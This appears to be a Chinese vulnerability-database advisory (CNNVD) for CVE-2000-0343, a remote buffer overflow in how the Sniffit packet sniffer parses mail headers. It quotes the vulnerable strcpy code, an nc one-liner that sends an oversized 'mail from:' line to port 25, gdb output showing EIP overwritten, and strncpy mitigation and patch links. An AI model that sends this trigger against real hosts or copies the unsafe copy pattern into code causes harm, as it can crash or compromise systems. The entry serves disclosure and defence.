漏洞信息详情
Sniffit处理邮件头缓冲区溢出漏洞
- CNNVD编号:CNNVD-200005-011
- 危害等级: 超危
- CVE编号:
CVE-2000-0343
- 漏洞类型:
边界条件错误
- 发布时间:
2000-05-02
- 威胁类型:
远程
- 更新时间:
2005-10-20
- 厂 商:
brecht_claerhout - 漏洞来源:
FuSyS fusys@s0ftpj… -
漏洞简介
Sniffit是一个常用的sniffer工具。可运行在多种Unix/Linux平台上。
它存在一个缓冲区溢出漏洞,可能导致攻击者远程获取root权限。
Sniffit在使用\”-L mail\”参数处理窃听到的邮件头(\”mail from:\”和\”rcpto to:\”)的时候,会将它们拷贝到一个固定大小的buffer中,导致可能发生溢出问题:问题处在下列两个地方:
if(strstr(workbuf1,\”mail from\”)!=NULL)
{
char workbuf2[MTU];
strcpy(workbuf2, strstr(workbuf1,\”mail from\”));
和
if(strstr(workbuf1,\”rcpt to\”)!=NULL)
{
char workbuf2[MTU];
strcpy(workbuf2, strstr(workbuf1,\”rcpt to\”));
…
当用户对局域网内任意主机的25端口发送包含超长\”mail from:…\”或者\”rcpt to:…\”内容的消息时,将会导致监听主机上的Sniffit发生溢出:
echo \”mail from:`perl -e \’\’print \”A\”x300\’\’`\”|nc -vv HOSTNAME 25
在运行Sniffit的机器上用gdb跟踪得到的结果:
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) i all
eax: 0x0 0
ecx: 0x8057648 134575688
edx: 0x8057648 134575688
ebx: 0xbfff5b84 -1073783932
esp: 0xbfff47a4 -1073789020
ebp: 0x61616161 1633771873
esi: 0xbfff6f0c -1073778932
edi: 0xbfff6f0c -1073778932
eip: 0x61616161 1633771873
…
漏洞公告
临时解决方法:
如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
* 修改sn_analyse.c,用strncpy代替strcpy,拷贝固定字节的内容到buffer中去。
厂商补丁:
Brecht Claerhout
—————-
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://reptile.rug.ac.be/~coder/sniffit/sniffit.html” target=”_blank”>
http://reptile.rug.ac.be/~coder/sniffit/sniffit.html
参考网址
来源: BID
名称: 1158
链接:http://www.securityfocus.com/bid/1158
来源: BUGTRAQ
名称: 20000502 spj-003-000 – S0ftPj Advisory
链接:http://www.securityfocus.com/templates/archive.pike?list=1&msg=200005021736.TAA01991@ALuSSi
来源:NSFOCUS
名称:489
链接:http://www.nsfocus.net/vulndb/489